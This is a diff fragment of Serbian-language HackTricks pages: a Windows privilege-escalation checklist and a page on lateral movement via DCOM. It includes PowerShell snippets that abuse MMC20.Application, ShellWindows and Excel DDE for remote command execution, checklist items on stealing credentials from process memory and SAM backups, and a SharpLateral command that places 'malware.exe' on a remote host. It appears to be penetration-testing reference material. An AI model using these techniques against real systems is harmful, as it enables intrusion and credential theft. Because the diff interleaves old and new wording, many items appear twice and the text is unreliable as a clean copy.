<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Najbolji alat za traženje vektora eskalacije privilegija u lokalnom Windows-u:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Najbolji alat za traženje vektora lokalnog eskaliranja privilegija u Windows-u:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Informacije o sistemu](windows-local-privilege-escalation/#system-info)
* [ ] Dobiti [**Informacije o sistemu**](windows-local-privilege-escalation/#system-info)
* [ ] Pretražiti **kernel** [**exploite koristeći skripte**](windows-local-privilege-escalation/#version-exploits)
* [ ] Koristiti **Google za pretragu** kernel **exploita**
* [ ] Koristiti **searchsploit za pretragu** kernel **exploita**
* [ ] Interesantne informacije u [**env varijablama**](windows-local-privilege-escalation/#environment)?
* [ ] Pretražiti **kernel** [**eksploate korišćenjem skripti**](windows-local-privilege-escalation/#version-exploits)
* [ ] Koristiti **Google za pretragu** kernel **eksploatacija**
* [ ] Koristiti **searchsploit za pretragu** kernel **eksploatacija**
* [ ] Zanimljive informacije u [**env varijablama**](windows-local-privilege-escalation/#environment)?
* [ ] Lozinke u [**PowerShell istoriji**](windows-local-privilege-escalation/#powershell-history)?
* [ ] Interesantne informacije u [**Internet postavkama**](windows-local-privilege-escalation/#internet-settings)?
* [ ] Zanimljive informacije u [**Internet postavkama**](windows-local-privilege-escalation/#internet-settings)?
* [ ] [**Diskovi**](windows-local-privilege-escalation/#drives)?
* [ ] [**WSUS exploit**](windows-local-privilege-escalation/#wsus)?
* [ ] [**WSUS eksploatacija**](windows-local-privilege-escalation/#wsus)?
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
### [Enumeracija Logging/AV](windows-local-privilege-escalation/#enumeration)
### [Enumeracija logovanja/AV-a](windows-local-privilege-escalation/#enumeration)
* [ ] Proveriti [**Audit** ](windows-local-privilege-escalation/#audit-settings)i [**WEF** ](windows-local-privilege-escalation/#wef)postavke
* [ ] Proveriti [**LAPS**](windows-local-privilege-escalation/#laps)
* [ ] Proveriti da li je [**WDigest** ](windows-local-privilege-escalation/#wdigest)aktivan
* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Keširane lozinke**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] [**LSA Zaštita**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Zaštita Kredencijala**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Keširane Kredencijale**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Proveriti da li postoji neki [**AV**](windows-av-bypass)
* [**AppLocker Politika**](authentication-credentials-uac-and-efs#applocker-policy)?
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [**Korisničke privilegije**](windows-local-privilege-escalation/#users-and-groups)
* [**Korisničke Privilegije**](windows-local-privilege-escalation/#users-and-groups)
* Proveriti [**trenutne** korisničke **privilegije**](windows-local-privilege-escalation/#users-and-groups)
* Da li ste [**član neke privilegovane grupe**](windows-local-privilege-escalation/#privileged-groups)?
* Proveriti da li su vam omogućeni neki od ovih tokena (windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Korisničke sesije**](windows-local-privilege-escalation/#logged-users-sessions)?
* Proveriti da li su vam omogućeni [bilo koji od ovih tokena](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Korisničke Sesije**](windows-local-privilege-escalation/#logged-users-sessions)?
* Proveriti [**korisničke direktorijume**](windows-local-privilege-escalation/#home-folders) (pristup?)
* Proveriti [**Politiku lozinke**](windows-local-privilege-escalation/#password-policy)
* Proveriti [**Politiku Lozinke**](windows-local-privilege-escalation/#password-policy)
* Šta je [**unutar Clipboard-a**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
### [Mreža](windows-local-privilege-escalation/#network)
@ -62,25 +62,25 @@ Drugi načini podrške HackTricks-u:
* Proveriti **trenutne** [**informacije o mreži**](windows-local-privilege-escalation/#network)
* Proveriti **skrivene lokalne servise** ograničene prema spolja
### [Pokrenuti procesi](windows-local-privilege-escalation/#running-processes)
### [Pokrenuti Procesi](windows-local-privilege-escalation/#running-processes)
* Dozvole fajlova i direktorijuma procesa [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions)
* Dozvole fajlova i direktorijuma za procese binarne [**datoteke**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Izvlačenje lozinki iz memorije**](windows-local-privilege-escalation/#memory-password-mining)
* [**Nesigurne GUI aplikacije**](windows-local-privilege-escalation/#insecure-gui-apps)
* Ukrasti akreditive sa **interesantnih procesa** putem `ProcDump.exe` ? (firefox, chrome, itd ...)
* Ukrasti kredencijale sa **zanimljivih procesa** putem `ProcDump.exe` ? (firefox, chrome, itd ...)
### [Servisi](windows-local-privilege-escalation/#services)
* [Možete li **modifikovati neki servis**?](windows-local-privilege-escalation#permissions)
* [Možete li **modifikovati** binarni fajl koji se **izvršava** od strane nekog **servisa**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Možete li **modifikovati** registar nekog **servisa**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* Da li možete iskoristiti neki od **servisa sa neispravnim putem binarnog fajla**? (windows-local-privilege-escalation/#unquoted-service-paths)
* [Možete li **modifikovati** binarni **fajl** koji se **izvršava** od strane bilo kog **servisa**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Možete li **modifikovati** registar bilo kog **servisa**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [Možete li iskoristiti bilo koji **servis sa neispravnim putem binarnog fajla**?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Aplikacije**](windows-local-privilege-escalation/#applications)
* **Dozvole za pisanje na instalirane aplikacije**](windows-local-privilege-escalation/#write-permissions)
* [**Aplikacije koje se pokreću pri startovanju**](windows-local-privilege-escalation/#run-at-startup)
* **Ranjivi** [**Drajveri**](windows-local-privilege-escalation/#drivers)
* [**Aplikacije koje se pokreću pri pokretanju**](windows-local-privilege-escalation/#run-at-startup)
* **Ranjivi** [**Driveri**](windows-local-privilege-escalation/#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] Možete li **pisati u bilo kojem folderu unutar PATH-a**?
@ -89,7 +89,7 @@ Drugi načini podrške HackTricks-u:
### [Mreža](windows-local-privilege-escalation/#network)
* [ ] Nabrojite mrežu (deljenje, interfejsi, rute, susedi, ...)
* [ ] Nabrojite mrežu (deljeni resursi, interfejsi, rute, susedi, ...)
* [ ] Posebno obratite pažnju na mrežne servise koji slušaju na lokalnom računaru (127.0.0.1)
### [Windows Kredencijali](windows-local-privilege-escalation/#windows-credentials)
@ -109,22 +109,22 @@ Drugi načini podrške HackTricks-u:
* [ ] **Putty:** [**Kredencijali**](windows-local-privilege-escalation/#putty-creds) **i** [**SSH host ključevi**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] [**SSH ključevi u registru**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
* [ ] Lozinke u [**neprisutnim fajlovima**](windows-local-privilege-escalation/#unattended-files)?
* [ ] Bilo kakav **SAM & SYSTEM** backup?
* [ ] Bilo kakva **SAM & SYSTEM** rezerva?
* [ ] [**Cloud kredencijali**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] Fajl [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
* [**Keširana GPP lozinka**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* Lozinka u [**IIS Web konfiguracionom fajlu**](windows-local-privilege-escalation/#iis-web-config)?
* Interesantne informacije u [**web** **logovima**](windows-local-privilege-escalation/#logs)?
* Da li želite da [**zatražite kredencijale**](windows-local-privilege-escalation/#ask-for-credentials) od korisnika?
* Interesantni [**fajlovi u Recycle Binu**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* Ostali [**registri koji sadrže kredencijale**](windows-local-privilege-escalation/#inside-the-registry)?
* Unutar [**Podataka pretraživača**](windows-local-privilege-escalation/#browsers-history) (baze podataka, istorija, obeleživači, ...)?
* [ ] [**Keširana GPP lozinka**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* [ ] Lozinka u [**IIS Web konfiguracionom fajlu**](windows-local-privilege-escalation/#iis-web-config)?
* [ ] Interesantne informacije u [**web** **logovima**](windows-local-privilege-escalation/#logs)?
* [ ] Da li želite da **zatražite kredencijale** od korisnika?
* [ ] Interesantni [**fajlovi unutar Recycle Bina**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Ostali **registri koji sadrže kredencijale**](windows-local-privilege-escalation/#inside-the-registry)?
* [ ] Unutar [**Podataka pretraživača**](windows-local-privilege-escalation/#browsers-history) (baze podataka, istorija, obeleživači, ...)?
* [**Opšta pretraga lozinki**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) u fajlovima i registru
* [**Alati**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za automatsku pretragu lozinki
### [Procureni Handleri](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Imate li pristup bilo kom handleru procesa pokrenutog od strane administratora?
* [ ] Imate li pristup nekom handleru procesa pokrenutog od strane administratora?
### [Imitacija Klijenta Cevi](windows-local-privilege-escalation/#named-pipe-client-impersonation)
@ -132,13 +132,13 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:

View file

@ -1,10 +1,10 @@
# DCOM Exec
# DCOM Izvršenje
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -29,7 +29,7 @@ Model distribuiranih komponentnih objekata (DCOM) predstavlja zanimljivu mogućn
```bash
Get-CimInstance Win32_DCOMApplication
```
COM objekat, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), omogućava pisanje skriptova za MMC snap-in operacije. Posebno, ovaj objekat sadrži `ExecuteShellCommand` metod pod `Document.ActiveView`. Više informacija o ovom metodu može se pronaći [ovde](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Proverite pokretanjem:
COM objekat, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), omogućava pisanje skriptova za MMC snap-in operacije. Posebno, ovaj objekat sadrži `ExecuteShellCommand` metod pod `Document.ActiveView`. Više informacija o ovom metodu možete pronaći [ovde](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Proverite pokretanjem:
Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Za interakciju sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:
```powershell
@ -55,9 +55,9 @@ ls \\10.10.10.10\c$\Users
**Za više informacija o ovoj tehnici pogledajte originalni post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Identifikovano je da objekat **MMC20.Application** nedostaje eksplicitna "LaunchPermissions," podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit [ovde](https://twitter.com/tiraniddo/status/817532039771525120), a preporučuje se korišćenje [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET za filtriranje objekata bez eksplicitnih Launch Permission.
Identifikovano je da objekat **MMC20.Application** nedostaje eksplicitna "LaunchPermissions", podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit [ovde](https://twitter.com/tiraniddo/status/817532039771525120), a preporučuje se korišćenje [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET za filtriranje objekata bez eksplicitnih dozvola za pokretanje.
Dva specifična objekta, `ShellBrowserWindow` i `ShellWindows`, istaknuta su zbog nedostatka eksplicitnih Launch Permissions. Odsustvo unosa `LaunchPermission` u registru pod `HKCR:\AppID\{guid}` označava nedostatak eksplicitnih dozvola.
Dva specifična objekta, `ShellBrowserWindow` i `ShellWindows`, istaknuta su zbog nedostatka eksplicitnih dozvola za pokretanje. Odsustvo unosa `LaunchPermission` u registru pod `HKCR:\AppID\{guid}` označava nedostatak eksplicitnih dozvola.
### ShellWindows
Za `ShellWindows`, koji nema ProgID, .NET metode `Type.GetTypeFromCLSID` i `Activator.CreateInstance` olakšavaju instanciranje objekta koristeći njegov AppID. Ovaj proces koristi OleView .NET za dobijanje CLSID-a za `ShellWindows`. Jednom kada je instanciran, interakcija je moguća kroz metod `WindowsShell.Item`, što dovodi do poziva metoda poput `Document.Application.ShellExecute`.
@ -96,7 +96,7 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
```
### Alatke za automatizaciju bočnog kretanja
### Alatke za automatizaciju lateralnog kretanja
Dve alatke su istaknute za automatizaciju ovih tehnika:
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -130,7 +130,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**